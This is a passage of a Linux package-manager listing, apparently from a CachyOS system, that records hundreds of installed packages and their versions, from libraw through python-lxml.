libraw-0.22.1-1.1-x86_64_v4 +installed = libraw1394-2.1.2-4.1-x86_64_v4 +installed = librevenge-0.0.5-4.1-x86_64_v4 +installed = librist-0.2.17-1.1-x86_64_v4 +installed = librsvg-2:2.62.3-1.1-x86_64_v4 +installed = libsamplerate-0.2.2-3.1-x86_64_v4 +installed = libsasl-2.1.28-5.1-x86_64_v4 +installed = libscanmem-0.17-11-x86_64 +installed = libseccomp-2.6.0-1-x86_64 +installed = libsecp256k1-1:0.7.1-1.1-x86_64_v4 +installed = libsecret-0.21.7-1-x86_64 +installed = libshout-1:2.4.6-5.1-x86_64_v4 +installed = libsigc++-2.12.2-1.1-x86_64_v4 +installed = libsigc++-3.0-3.8.1-1.1-x86_64_v4 +installed = libsixel-1.10.5-1.1-x86_64_v4 +installed = libslirp-4.9.3-1.1-x86_64_v4 +installed = libsm-1.2.6-1.1-x86_64_v4 +installed = libsndfile-1.2.2-4.1-x86_64_v4 +installed = libsodium-1.0.22-1.1-x86_64_v4 +installed = libsonic-0.2.0-2-x86_64 +installed = libsoup3-3.6.6-2.1-x86_64_v4 +installed = libsoxr-0.1.3-4.1-x86_64_v4 +installed = libspectre-0.2.12-2.1-x86_64_v4 +installed = libspeechd-0.12.1-3.1-x86_64_v4 +installed = libspelling-0.4.10-1.1-x86_64_v4 +installed = libspiro-1:20240903-1.2-x86_64_v4 +installed = libspnav-1.2-1.1-x86_64_v4 +installed = libsrtp-1:2.8.0-1.1-x86_64_v4 +installed = libssc-0.4.3-1.1-x86_64_v4 +installed = libssh-0.12.0-1.1-x86_64_v4 +installed = libssh2-1.11.1-1.1-x86_64_v4 +installed = libstdc++-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libstemmer-3.1.1-1.1-x86_64_v4 +installed = libsysprof-capture-50.0-2.1-x86_64_v4 +installed = libtasn1-4.21.0-1.1-x86_64_v4 +installed = libtatsu-1.0.5-1.1-x86_64_v4 +installed = libteam-1.32-3.1-x86_64_v4 +installed = libthai-0.1.30-1.1-x86_64_v4 +installed = libtheora-1.2.0-1.1-x86_64_v4 +installed = libtiff-4.7.1-2.1-x86_64_v4 +installed = libtiger-0.3.4-8.1-x86_64_v4 +installed = libtirpc-1.3.7-1.1-x86_64_v4 +installed = libtommath-1.3.0-2.1-x86_64_v4 +installed = libtool-2.6.1-1-x86_64 +installed = libtorrent-0.16.14-1.1-x86_64_v4 +installed = libtpms-0.10.2-1-x86_64 +installed = libtraceevent-1:1.9.0-1.1-x86_64_v4 +installed = libtracefs-1.8.3-1.1-x86_64_v4 +installed = libtsan-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libubsan-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libunibreak-7.0-1.1-x86_64_v4 +installed = libunistring-1.4.2-1.1-x86_64_v4 +installed = libunwind-1.8.2-1.2-x86_64_v4 +installed = libupnp-1.14.31-1.1-x86_64_v4 +installed = liburcu-0.15.6-1.1-x86_64_v4 +installed = liburing-2.14-1.1-x86_64_v4 +installed = libusb-1.0.30-1.1-x86_64_v4 +installed = libusb-compat-0.1.9-1.1-x86_64_v4 +installed = libusbmuxd-2.1.1-2.1-x86_64_v4 +installed = libutempter-1.2.3-1.1-x86_64_v4 +installed = libutf8proc-2.11.3-1.1-x86_64_v4 +installed = libuv-1.52.1-1.1-x86_64_v4 +installed = libva-2.23.0-1.1-x86_64_v4 +installed = libvdpau-1.5-4.1-x86_64_v4 +installed = libverto-0.3.2-6.1-x86_64_v4 +installed = libvips-8.18.3-1.1-x86_64_v4 +installed = libvirt-1:12.4.0-1.1-x86_64_v4 +installed = libvirt-glib-5.0.0-3.2-x86_64_v4 +installed = libvirt-python-1:12.4.0-1.1-x86_64_v4 +installed = libvisio-0.1.11-1.1-x86_64_v4 +installed = libvlc-3.0.23_2-7.1-x86_64_v4 +installed = libvncserver-0.9.15-1.1-x86_64_v4 +installed = libvorbis-1.3.7-4.1-x86_64_v4 +installed = libvpl-2.16.0-2.1-x86_64_v4 +installed = libvpx-1.16.0-3.1-x86_64_v4 +installed = libwacom-2.19.0-1-x86_64 +installed = libwbclient-2:4.24.3-1.1-x86_64_v4 +installed = libwebp-1.6.0-2.1-x86_64_v4 +installed = libwireplumber-0.5.14-1.1-x86_64_v4 +installed = libwmf-0.2.15-1.1-x86_64_v4 +installed = libwnck3-43.3-1.3-x86_64_v4 +installed = libwpd-0.10.3-6.1-x86_64_v4 +installed = libx11-1.8.13-1.1-x86_64_v4 +installed = libx86emu-3.7-2.1-x86_64_v4 +installed = libxau-1.0.12-1.1-x86_64_v4 +installed = libxaw-1.0.16-2.1-x86_64_v4 +installed = libxcb-1.17.0-1.1-x86_64_v4 +installed = libxcomposite-0.4.7-1.1-x86_64_v4 +installed = libxcrypt-4.5.2-1.1-x86_64_v4 +installed = libxcrypt-compat-4.5.2-1.1-x86_64_v4 +installed = libxcursor-1.2.3-1.1-x86_64_v4 +installed = libxcvt-0.1.3-1.1-x86_64_v4 +installed = libxdamage-1.1.7-1.1-x86_64_v4 +installed = libxdmcp-1.1.5-2.1-x86_64_v4 +installed = libxdp-1.6.3-1.1-x86_64_v4 +installed = libxext-1.3.7-1.1-x86_64_v4 +installed = libxfixes-6.0.2-1.1-x86_64_v4 +installed = libxfont2-2.0.7-1.1-x86_64_v4 +installed = libxft-2.3.9-1.1-x86_64_v4 +installed = libxi-1.8.3-1.1-x86_64_v4 +installed = libxinerama-1.1.6-1.1-x86_64_v4 +installed = libxkbcommon-1.13.2-1.1-x86_64_v4 +installed = libxkbcommon-x11-1.13.2-1.1-x86_64_v4 +installed = libxkbfile-1.2.0-1.1-x86_64_v4 +installed = libxml2-2.15.3-1.1-x86_64_v4 +installed = libxmlb-0.3.27-1.1-x86_64_v4 +installed = libxmp-4.7.0-1.1-x86_64_v4 +installed = libxmu-1.3.1-1.1-x86_64_v4 +installed = libxpm-3.5.19-1.1-x86_64_v4 +installed = libxpresent-1.0.2-1.1-x86_64_v4 +installed = libxrandr-1.5.5-1.1-x86_64_v4 +installed = libxrender-0.9.12-1.1-x86_64_v4 +installed = libxres-1.2.3-1.1-x86_64_v4 +installed = libxshmfence-1.3.3-1.1-x86_64_v4 +installed = libxslt-1.1.45-2.1-x86_64_v4 +installed = libxss-1.2.5-1.1-x86_64_v4 +installed = libxt-1.3.1-1.1-x86_64_v4 +installed = libxtst-1.2.5-1.1-x86_64_v4 +installed = libxv-1.0.13-1.1-x86_64_v4 +installed = libxvmc-1.0.15-1.1-x86_64_v4 +installed = libxxf86vm-1.1.7-1.1-x86_64_v4 +installed = libyaml-0.2.5-3.1-x86_64_v4 +installed = libyuv-r2426+464c51a03-1.1-x86_64_v4 +installed = libzip-1.11.4-1.1-x86_64_v4 +installed = libzmf-0.0.2-20.1-x86_64_v4 +installed = licenses-20240728-1-any +installed = lilv-0.28.0-1-x86_64 +installed = linux-api-headers-1:7.0-1-x86_64_v4 +installed = linux-cachyos-7.0.12-1-x86_64_v4 +installed = linux-cachyos-bore-7.0.12-1-x86_64_v4 +installed = linux-cachyos-bore-headers-7.0.12-1-x86_64_v4 +installed = linux-cachyos-headers-7.0.12-1-x86_64_v4 +installed = linux-firmware-1:20260519-1-any +installed = linux-firmware-amdgpu-1:20260519-1-any +installed = linux-firmware-atheros-1:20260519-1-any +installed = linux-firmware-broadcom-1:20260519-1-any +installed = linux-firmware-cirrus-1:20260519-1-any +installed = linux-firmware-intel-1:20260519-1-any +installed = linux-firmware-mediatek-1:20260519-1-any +installed = linux-firmware-nvidia-1:20260519-1-any +installed = linux-firmware-other-1:20260519-1-any +installed = linux-firmware-radeon-1:20260519-1-any +installed = linux-firmware-realtek-1:20260519-1-any +installed = linux-firmware-whence-1:20260519-1-any +installed = linux-tools-meta-7.0.10-1-x86_64 +installed = lirc-1:0.10.2-6.1-x86_64_v4 +installed = litehtml0.9-0.9-2.1-x86_64_v4 +installed = live-media-2025.05.24-1.1-x86_64_v4 +installed = lld-22.1.6-1.1-x86_64_v4 +installed = llhttp-9.3.1-1.1-x86_64_v4 +installed = llvm-22.1.6-2-x86_64_v4 +installed = llvm-libs-22.1.6-2-x86_64_v4 +installed = llvm19-19.1.7-2.1-x86_64_v4 +installed = llvm19-libs-19.1.7-2.1-x86_64_v4 +installed = llvm21-libs-21.1.8-1.1-x86_64_v4 +installed = lm_sensors-1:3.6.2-1.1-x86_64_v4 +installed = lmdb-0.9.35-1.1-x86_64_v4 +installed = lmstudio-bin-0.4.16-2-x86_64 +installed = log4cplus-2.1.2-1.1-x86_64_v4 +installed = logrotate-3.22.0-1.1-x86_64_v4 +installed = lrzip-0.660-1.1-x86_64_v4 +installed = lsb-release-2.0.r55.a25a4fc-1-any +installed = lsfg-vk-1:1.0.0.r0.7113d7d-1-x86_64 +installed = lsof-4.99.6-1.1-x86_64_v4 +installed = lsscsi-0.32-2.1-x86_64_v4 +installed = lttng-ust2.12-2.12.10-1.4-x86_64_v4 +installed = lua-5.5.0-2.1-x86_64_v4 +installed = lua-socket-1:3.1.0-2-x86_64 +installed = lua51-5.1.5-13.1-x86_64_v4 +installed = lua54-5.4.8-6.1-x86_64_v4 +installed = luajit-2.1.1780076327+b925b3e-1.1-x86_64_v4 +installed = ludusavi-bin-0.31.0-1-x86_64 +installed = lutris-0.5.22-1-any +installed = lutris-wine-meta-2.1.0-7-any +installed = lutris-world-of-warcraft-dependencies-amd-1.0-1-any +installed = lv2-1.18.10-2.1-x86_64_v4 +installed = lvm2-2.03.41-1.1-x86_64_v4 +installed = lxc-1:7.0.0-1.1-x86_64_v4 +installed = lxcfs-7.0.0-1.1-x86_64_v4 +installed = lxd-6.8-2.1-x86_64_v4 +installed = lynis-3.1.6-1-any +installed = lz4-1:1.10.0-3-x86_64_v4 +installed = lzo-2.10-5.1-x86_64_v4 +installed = lzop-1.04-4.1-x86_64_v4 +installed = m4-1.4.21-2.1-x86_64_v4 +installed = magicrescue-1.1.10-1-x86_64 +installed = mailcap-2.1.54-2-any +installed = mailcommon-26.04.2-1.1-x86_64_v4 +installed = mailimporter-26.04.2-1.1-x86_64_v4 +installed = make-4.4.1-3.1-x86_64_v4 +installed = makemkv-1.18.3-1-x86_64 +installed = man-db-2.13.1-1.1-x86_64_v4 +installed = man-pages-6.18-1-any +installed = manifold-3.4.1-1.1-x86_64_v4 +installed = mariadb-12.3.2-2.1-x86_64_v4 +installed = mariadb-clients-12.3.2-2.1-x86_64_v4 +installed = mariadb-libs-12.3.2-2.1-x86_64_v4 +installed = materialx-1.39.4-5.1-x86_64_v4 +installed = mbedtls-3.6.5-1-x86_64 +installed = mbedtls2-2.28.10-1.1-x86_64_v4 +installed = mbox-importer-26.04.2-1.1-x86_64_v4 +installed = mc-4.8.33-1-x86_64 +installed = md4c-0.5.3-1.1-x86_64_v4 +installed = mdadm-4.6-2-x86_64 +installed = media-player-info-26-1-any +installed = meld-3.22.3-2-any +installed = mercurial-7.2.2-1.1-x86_64_v4 +installed = mesa-2:26.1.2-1-x86_64 +installed = mesa-utils-9.0.0-7.1-x86_64_v4 +installed = meson-1.11.1-3-any +installed = messagelib-26.04.2-1.1-x86_64_v4 +installed = mhash-0.9.9.9-7.1-x86_64_v4 +installed = micromamba-bin-2.8.1.0-1-x86_64 +installed = migraphx-7.2.3-3.1-x86_64_v4 +installed = milou-6.6.5-1.1-x86_64_v4 +installed = miniupnpc-2.3.3-3.1-x86_64_v4 +installed = minizip-1:1.3.2-3.1-x86_64_v4 +installed = minizip-ng-4.2.1-1.1-x86_64_v4 +installed = miopen-hip-7.2.4-1-x86_64 +installed = mission-center-1.1.0-1.1-x86_64_v4 +installed = mjpegtools-2.2.1-4.1-x86_64_v4 +installed = mkcert-1.4.4-3.1-x86_64_v4 +installed = mkvtoolnix-cli-99.0-1-x86_64 +installed = mlt-7.38.0-1.1-x86_64_v4 +installed = mobile-broadband-provider-info-20251101-1-any +installed = modemmanager-1.24.2-1.1-x86_64_v4 +installed = modemmanager-qt-6.27.0-1.1-x86_64_v4 +installed = mosquitto-2.1.2-2.1-x86_64_v4 +installed = mpdecimal-4.0.1-3.1-x86_64_v4 +installed = mpfr-4.2.2-1.1-x86_64_v4 +installed = mpg123-1.33.5-1.1-x86_64_v4 +installed = mpv-1:0.41.0-3.1-x86_64_v4 +installed = mpvqt-1.2.0-1.1-x86_64_v4 +installed = msgpack-cxx-8.0.0-1-any +installed = mtdev-1.1.7-1.1-x86_64_v4 +installed = mtools-1:4.0.49-1.1-x86_64_v4 +installed = mujs-1.3.9-1.1-x86_64_v4 +installed = multipath-tools-0.14.3-1.1-x86_64_v4 +installed = mypaint-brushes-2.0.2-2-any +installed = mypaint-brushes1-1.3.1-2-any +installed = nano-9.0-1.1-x86_64_v4 +installed = nano-syntax-highlighting-2025.07.01.r0.g256995b-2-any +installed = nanobind-2.12.0-3-any +installed = ncurses-6.6-2.1-x86_64_v4 +installed = ndctl-84-1.1-x86_64_v4 +installed = ndiff-7.99-2.1-x86_64_v4 +installed = neochat-26.04.2-1.1-x86_64_v4 +installed = neofetch-7.1.0-4-any +installed = neon-0.37.1-1.1-x86_64_v4 +installed = net-snmp-5.9.5.2-1.1-x86_64_v4 +installed = net-tools-2.10-3.1-x86_64_v4 +installed = netavark-1.17.2-2.1-x86_64_v4 +installed = netctl-1.29-2-any +installed = netstandard-targeting-pack-1:2.1.0-2-any +installed = nettle-4.0-1-x86_64 +installed = nettle3-3.10.2-2-x86_64 +installed = networkmanager-1.56.1-1-x86_64 +installed = networkmanager-openconnect-1.2.10-4.1-x86_64_v4 +installed = networkmanager-qt-6.27.0-1.1-x86_64_v4 +installed = networkmanager-vpn-plugin-openconnect-1.2.10-4.1-x86_64_v4 +installed = nextcloud-client-2:33.0.5-1-x86_64 +installed = nexusmods-app-bin-0.21.1-1-x86_64 +installed = nfs-utils-2.9.1-1.1-x86_64_v4 +installed = nfsidmap-2.9.1-1.1-x86_64_v4 +installed = nftables-1:1.1.6-3-x86_64 +installed = nilfs-utils-2.3.0-1.1-x86_64_v4 +installed = ninja-1.13.2-3.1-x86_64_v4 +installed = nlohmann-json-3.12.0-2-any +installed = nmap-7.99-2.1-x86_64_v4 +installed = node-gyp-13.0.0-1-any +installed = nodejs-lts-jod-22.22.2-1-x86_64 +installed = nodejs-nopt-10.0.1-1-any +installed = noto-fonts-1:2026.06.01-1-any +installed = noto-fonts-cjk-20240730-1-any +installed = noto-fonts-emoji-1:2.051-1-any +installed = noto-fonts-extra-1:2026.06.01-1-any +installed = npm-11.16.0-1-any +installed = npth-1.8-1.1-x86_64_v4 +installed = nspr-4.39-1.1-x86_64_v4 +installed = nss-3.125-1.1-x86_64_v4 +installed = nss-mdns-0.15.1-2.1-x86_64_v4 +installed = ntfs-3g-2026.2.25-1.1-x86_64_v4 +installed = ntfsprogs-2026.2.25-1.1-x86_64_v4 +installed = ntp-4.2.8.p18-6-x86_64 +installed = ntsync-common-6.14-2-any +installed = ntsync-dkms-6.14-2-any +installed = ntsync-header-6.14-2-any +installed = numactl-2.0.19-1-x86_64 +installed = nvidia-utils-610.43.02-3-x86_64_v4 +installed = nvme-cli-2.16-2-x86_64 +installed = nvtop-3.3.2-1.1-x86_64_v4 +installed = oath-toolkit-2.6.14-3.1-x86_64_v4 +installed = obs-backgroundremoval-1.3.7-1-x86_64 +installed = obs-gstreamer-1:0.4.1-1-x86_64 +installed = obs-studio-browser-32.1.2-2-x86_64 +installed = obs-vkcapture-1.5.6-1-x86_64 +installed = occt-16.1.11-1.1-x86_64_v4 +installed = ocean-sound-theme-6.6.5-1-any +installed = ocl-icd-2.3.4-1.1-x86_64_v4 +installed = okular-26.04.2-1.1-x86_64_v4 +installed = ollama-0.30.8-1.1-x86_64_v4 +installed = ollama-rocm-0.30.8-1.1-x86_64_v4 +installed = onednn-3.11.3-1.1-x86_64_v4 +installed = onetbb-2023.0.0-1.1-x86_64_v4 +installed = oniguruma-6.9.10-1.1-x86_64_v4 +installed = onnxruntime-rocm-1.24.4-8-x86_64 +installed = openai-codex-0.139.0-1.1-x86_64_v4 +installed = openal-1.25.2-1.1-x86_64_v4 +installed = openbsd-netcat-1.238_1-1.1-x86_64_v4 +installed = opencl-headers-2:2025.07.22-1-any +installed = opencl-nvidia-610.43.02-3-x86_64_v4 +installed = openclaw-2026.6.6-1-x86_64 +installed = opencolorio-2.5.1-1.1-x86_64_v4 +installed = openconnect-1:9.12-5.1-x86_64_v4 +installed = opencore-amr-0.1.6-2.1-x86_64_v4 +installed = opencv-4.13.0-10.1-x86_64_v4 +installed = opendht-1:3.7.7-3-x86_64 +installed = openexr-3.4.12-2.1-x86_64_v4 +installed = openh264-2.6.0-2.1-x86_64_v4 +installed = openhmd-0.3.0-1-x86_64 +installed = openimagedenoise-2.4.1-2-x86_64 +installed = openimageio-3.1.12.1-2.1-x86_64_v4 +installed = openjpeg2-2.5.4-1.1-x86_64_v4 +installed = openjph-0.28.1-1.1-x86_64_v4 +installed = openmp-22.1.6-1.1-x86_64_v4 +installed = openmpi-5.0.10-3.1-x86_64_v4 +installed = openpgl-0.7.1-1.1-x86_64_v4 +installed = openpmix-5.0.10-2.1-x86_64_v4 +installed = openrgb-bin-0.9-3-x86_64 +installed = openscenegraph-3.6.5-33.1-x86_64_v4 +installed = openshadinglanguage-1.15.3.0-1.1-x86_64_v4 +installed = opensnitch-1.7.2-4.1-x86_64_v4 +installed = openssh-10.3p1-1.1-x86_64_v4 +installed = openssl-3.6.3-1.1-x86_64_v4 +installed = openssl-1.1-1.1.1.w-10-x86_64 +installed = opensubdiv-3.7.0-1.1-x86_64_v4 +installed = opentimelineio-0.18.1-3.1-x86_64_v4 +installed = openucx-1.20.1-1.1-x86_64_v4 +installed = openvdb-13.0.0-1.1-x86_64_v4 +installed = openxr-1.1.60-1.1-x86_64_v4 +installed = optiscaler-universal-1.0.0-2-any +installed = opus-1.6.1-1.1-x86_64_v4 +installed = opusfile-0.12-4.1-x86_64_v4 +installed = orc-0.4.42-1.1-x86_64_v4 +installed = osinfo-db-20251212-1-any +installed = osm-gps-map-1.2.0-3.1-x86_64_v4 +installed = ostree-2025.7-3.1-x86_64_v4 +installed = otf-opendyslexic-nerd-3.4.0-2-any +installed = oxygen-6.6.5-1.1-x86_64_v4 +installed = oxygen-cursors-6.6.5-1.1-x86_64_v4 +installed = oxygen-icons-1:6.27.0-1-any +installed = oxygen-sounds-6.6.5-1-any +installed = p11-kit-0.26.2-1.1-x86_64_v4 +installed = pacman-7.1.0.r9.g54d9411-4-x86_64 +installed = pacman-contrib-1.13.1-1.2-x86_64_v4 +installed = pacman-mirrorlist-20260610-1-any +installed = pacutils-0.15.0-3-x86_64 +installed = pahole-1:1.31-2.1-x86_64_v4 +installed = pam-1.7.2-2.1-x86_64_v4 +installed = pambase-20250719-1-any +installed = pango-1:1.57.1-1.1-x86_64_v4 +installed = pangomm-2.46.4-3.1-x86_64_v4 +installed = pangomm-2.48-2.56.1-2.1-x86_64_v4 +installed = parallel-20260522-1-any +installed = parsec-bin-150_97c-2-x86_64 +installed = parted-3.7-1.1-x86_64_v4 +installed = partitionmanager-26.04.2-1.1-x86_64_v4 +installed = paru-2.1.0-3-x86_64 +installed = passim-0.1.11-1.1-x86_64_v4 +installed = passt-2026_06_11.a9c61ff-1.1-x86_64_v4 +installed = patch-2.8-1-x86_64 +installed = patchelf-0.18.0-4.1-x86_64_v4 +installed = pavucontrol-1:6.2-1.1-x86_64_v4 +installed = pcaudiolib-1.3-1.1-x86_64_v4 +installed = pciutils-3.15.0-1.1-x86_64_v4 +installed = pcre-8.45-4.1-x86_64_v4 +installed = pcre2-10.47-1.1-x86_64_v4 +installed = pcsc-cyberjack-3.99.5_SP17-2-x86_64 +installed = pcsc-perl-1.4.16-3.1-x86_64_v4 +installed = pcsc-tools-1.7.5-1.1-x86_64_v4 +installed = pcsclite-2.5.1-1.1-x86_64_v4 +installed = perf-7.0.10-1-x86_64 +installed = perl-5.42.2-1.1-x86_64_v4 +installed = perl-class-inspector-1.36-10-any +installed = perl-clone-0.50-1.1-x86_64_v4 +installed = perl-encode-locale-1.05-15-any +installed = perl-error-0.17030-3-any +installed = perl-file-listing-6.16-6-any +installed = perl-file-sharedir-1.118-8-any +installed = perl-html-parser-3.85-1.1-x86_64_v4 +installed = perl-html-tagset-3.24-4-any +installed = perl-http-cookiejar-0.014-5-any +installed = perl-http-cookies-6.11-4-any +installed = perl-http-daemon-6.17-1-any +installed = perl-http-date-6.06-5-any +installed = perl-http-message-7.02-1-any +installed = perl-http-negotiate-6.01-16-any +installed = perl-image-exiftool-13.55-1-any +installed = perl-io-html-1.004-8-any +installed = perl-json-4.11-1-any +installed = perl-libintl-perl-1.37-1.1-x86_64_v4 +installed = perl-libwww-6.83-1-any +installed = perl-lwp-mediatypes-6.04-8-any +installed = perl-mailtools-2.22-3-any +installed = perl-net-http-6.24-2-any +installed = perl-timedate-2.35-1-any +installed = perl-try-tiny-0.32-4-any +installed = perl-uri-5.34-2-any +installed = perl-www-robotrules-6.03-1-any +installed = perl-xml-parser-2.59-1.1-x86_64_v4 +installed = perl-xml-writer-0.900-6-any +installed = phodav-3.0-4.1-x86_64_v4 +installed = phonon-qt6-4.12.0-6-x86_64 +installed = phonon-qt6-vlc-0.12.0-6-x86_64 +installed = php-8.5.7-1-x86_64_v4 +installed = pika-backup-0.8.2-1.1-x86_64_v4 +installed = pim-data-exporter-26.04.2-1.1-x86_64_v4 +installed = pim-sieve-editor-26.04.2-1.1-x86_64_v4 +installed = pimcommon-26.04.2-1.1-x86_64_v4 +installed = pince-bin-0.8-1-x86_64 +installed = pinentry-1.3.2-2.1-x86_64_v4 +installed = pinokio-bin-7.2.6-1-x86_64 +installed = piper-tts-bin-2023.11.14-1-x86_64 +installed = pipewire-1:1.6.6-1.1-x86_64_v4 +installed = pipewire-alsa-1:1.6.6-1.1-x86_64_v4 +installed = pipewire-audio-1:1.6.6-1.1-x86_64_v4 +installed = pipewire-module-xrdp-0.2-1-x86_64 +installed = pipewire-pulse-1:1.6.6-1.1-x86_64_v4 +installed = pixman-0.46.4-1.1-x86_64_v4 +installed = pkgconf-2.5.1-1.1-x86_64_v4 +installed = pkgfile-25-2.1-x86_64_v4 +installed = plasma-activities-6.6.5-1.1-x86_64_v4 +installed = plasma-activities-stats-6.6.5-1.1-x86_64_v4 +installed = plasma-browser-integration-6.6.5-1.1-x86_64_v4 +installed = plasma-desktop-6.6.5-1.1-x86_64_v4 +installed = plasma-disks-6.6.5-1.1-x86_64_v4 +installed = plasma-firewall-6.6.5-1.1-x86_64_v4 +installed = plasma-integration-6.6.5-2.1-x86_64_v4 +installed = plasma-keyboard-6.6.5-1.1-x86_64_v4 +installed = plasma-login-manager-6.6.5-1.1-x86_64_v4 +installed = plasma-meta-6.6-2-any +installed = plasma-nm-6.6.5-1.1-x86_64_v4 +installed = plasma-pa-6.6.5-1.1-x86_64_v4 +installed = plasma-systemmonitor-6.6.5-1.1-x86_64_v4 +installed = plasma-thunderbolt-6.6.5-1.1-x86_64_v4 +installed = plasma-vault-6.6.5-1.1-x86_64_v4 +installed = plasma-welcome-6.6.5-1.1-x86_64_v4 +installed = plasma-workspace-6.6.5-2.1-x86_64_v4 +installed = plasma-workspace-wallpapers-6.6.5-1-any +installed = plasma5support-6.6.5-1.1-x86_64_v4 +installed = platinum-md-appimage-1.2.1-1-x86_64 +installed = plocate-1.1.24-1.1-x86_64_v4 +installed = plymouth-26.134.222-2.1-x86_64_v4 +installed = pmbootstrap-3.10.3-1-any +installed = pnpm-11.3.0-1-any +installed = podman-5.8.3-1.1-x86_64_v4 +installed = podman-desktop-1.27.2-2.1-x86_64_v4 +installed = podofo-0.10.6-1.1-x86_64_v4 +installed = polkit-127-3.1-x86_64_v4 +installed = polkit-kde-agent-6.6.5-1.1-x86_64_v4 +installed = polkit-qt6-0.201.1-1-x86_64 +installed = poppler-26.06.0-1.1-x86_64_v4 +installed = poppler-data-0.4.12-2-any +installed = poppler-glib-26.06.0-1.1-x86_64_v4 +installed = poppler-qt6-26.06.0-1.1-x86_64_v4 +installed = popt-1.19-2.1-x86_64_v4 +installed = portaudio-1:19.7.0-4.1-x86_64_v4 +installed = portmidi-1:2.0.8-1.1-x86_64_v4 +installed = postgresql-libs-18.4-1.1-x86_64_v4 +installed = potrace-1.16-5.1-x86_64_v4 +installed = power-profiles-daemon-0.30-3-x86_64 +installed = powerdevil-6.6.5-1.1-x86_64_v4 +installed = ppp-2.5.2-1.1-x86_64_v4 +installed = print-manager-1:6.6.5-1.1-x86_64_v4 +installed = prismlauncher-11.0.2-1.1-x86_64_v4 +installed = prison-6.27.0-1.1-x86_64_v4 +installed = procps-ng-4.0.6-1.1-x86_64_v4 +installed = progress-quest-bin-6.4.4-4-any +installed = projectm-3.1.12-5.1-x86_64_v4 +installed = protobuf-35.0-2.1-x86_64_v4 +installed = protobuf-c-1.5.2-11.1-x86_64_v4 +installed = protonfixes-1.0.15-4-any +installed = protontricks-1.14.1-1-any +installed = protonup-qt-2.15.0-1-any +installed = protonup-rs-bin-0.12.1-1-any +installed = prrte-3.0.13-1.1-x86_64_v4 +installed = psmisc-23.7-2.1-x86_64_v4 +installed = ptex-2.5.2-1.1-x86_64_v4 +installed = pugixml-1.15-3.1-x86_64_v4 +installed = pulseaudio-qt-1.8.1-1.1-x86_64_v4 +installed = purpose-6.27.0-1.1-x86_64_v4 +installed = putty-0.84-2.1-x86_64_v4 +installed = pv-1.10.5-1.1-x86_64_v4 +installed = pyalpm-0.11.1-1.1-x86_64_v4 +installed = pybind11-3.0.4-1-any +installed = pyenv-1:2.7.2-1-any +installed = pyenv-virtualenv-1:1.4.0-1-any +installed = pyside6-6.11.1-1.1-x86_64_v4 +installed = pystring-1.1.5-1.1-x86_64_v4 +installed = python-3.14.5-4-x86_64_v4 +installed = python-aaf2-1.7.1-4-any +installed = python-adblock-0.6.0-5.1-x86_64_v4 +installed = python-annotated-types-0.7.0-3-any +installed = python-aotriton-0.11.2b-1-x86_64 +installed = python-argcomplete-3.6.3-1-any +installed = python-asgiref-3.11.1-1-any +installed = python-attrs-26.1.0-1-any +installed = python-autocommand-2.2.2-9-any +installed = python-babel-2.17.0-3-any +installed = python-beautifulsoup4-4.15.0-1-any +installed = python-binaryornot-0.6.0-1-any +installed = python-bitarray-3.8.1-1.1-x86_64_v4 +installed = python-bitstring-4.4.0-1-any +installed = python-blinker-1.9.0-4-any +installed = python-boolean.py-5.0-2-any +installed = python-bottle-0.13.4-1-any +installed = python-build-1.4.3-1-any +installed = python-cachecontrol-1:0.14.4-3-any +installed = python-cachetools-7.1.4-1-any +installed = python-cachy-0.3.0-12-any +installed = python-cairo-1.29.0-2.1-x86_64_v4 +installed = python-capng-0.9.3-1.1-x86_64_v4 +installed = python-cbor2-6.1.2-1.1-x86_64_v4 +installed = python-certifi-2026.05.20-1-any +installed = python-cffi-2.0.0-2.1-x86_64_v4 +installed = python-chardet-6.0.0.post1-1-any +installed = python-charset-normalizer-3.4.7-1.1-x86_64_v4 +installed = python-cleo-1:2.1.0-2-any +installed = python-click-8.3.3-1-any +installed = python-colorama-0.4.6-6-any +installed = python-configobj-5.0.9-6-any +installed = python-contourpy-1.3.3-4.1-x86_64_v4 +installed = python-crashtest-0.4.1-5-any +installed = python-cryptography-48.0.1-1.1-x86_64_v4 +installed = python-cycler-0.12.1-4-any +installed = python-dateutil-2.9.0-8-any +installed = python-dbus-1.4.0-2-x86_64 +installed = python-debian-1.1.1-1-any +installed = python-defusedxml-0.7.1-8-any +installed = python-distlib-0.4.3-1-any +installed = python-distro-1.9.0-4-any +installed = python-dnspython-1:2.8.0-3-any +installed = python-docutils-1:0.22.4-1-any +installed = python-dulwich-1.1.0-1.1-x86_64_v4 +installed = python-ecdsa-0.19.2-1-any +installed = python-evdev-1.9.3-1.1-x86_64_v4 +installed = python-fastbencode-0.3.10-1.1-x86_64_v4 +installed = python-fastjsonschema-2.21.2-2-any +installed = python-fido2-2.2.0-1-any +installed = python-filelock-3.29.3-1-any +installed = python-findpython-0.8.0-1-any +installed = python-flask-3.1.3-1-any +installed = python-fonttools-4.63.0-1.1-x86_64_v4 +installed = python-fsspec-2026.4.0-1-any +installed = python-gevent-26.5.0-1.1-x86_64_v4 +installed = python-gmpy2-2.3.0-1.1-x86_64_v4 +installed = python-gobject-3.56.3-1-x86_64 +installed = python-greenlet-3.5.1-1.1-x86_64_v4 +installed = python-grpcio-1.81.0-1-x86_64 +installed = python-grpcio-tools-1.81.0-1-x86_64 +installed = python-h11-0.16.0-2-any +installed = python-html5lib-1.1-17-any +installed = python-httptools-0.8.0-1.1-x86_64_v4 +installed = python-idna-3.18-1-any +installed = python-imagesize-2.0.0-1-any +installed = python-importlib-metadata-9.0.0-1-any +installed = python-inputs-0.5-7-any +installed = python-installer-1.0.0-1-any +installed = python-intelhex-2.3.0-9-any +installed = python-isodate-0.7.2-3-any +installed = python-itsdangerous-2.2.0-2-any +installed = python-jaraco.classes-3.4.0-3-any +installed = python-jaraco.collections-5.1.0-3-any +installed = python-jaraco.context-6.1.2-1-any +installed = python-jaraco.functools-4.1.0-3-any +installed = python-jaraco.text-4.0.0-4-any +installed = python-jeepney-0.9.0-3-any +installed = python-jinja-1:3.1.6-3-any +installed = python-jsonschema-4.26.0-1-any +installed = python-jsonschema-specifications-2025.9.1-2-any +installed = python-keyring-25.7.0-3-any +installed = python-kiwisolver-1.5.0-1.1-x86_64_v4 +installed = python-lark-parser-1.3.1-2-any +installed = python-legacy-cgi-2.6.4-2-any +installed = python-license-expression-30.4.4-2-any +installed = python-lockfile-0.12.2-15-any +installed = python-lxml-6.1.1-1.1-x86_64_v4 +installed = 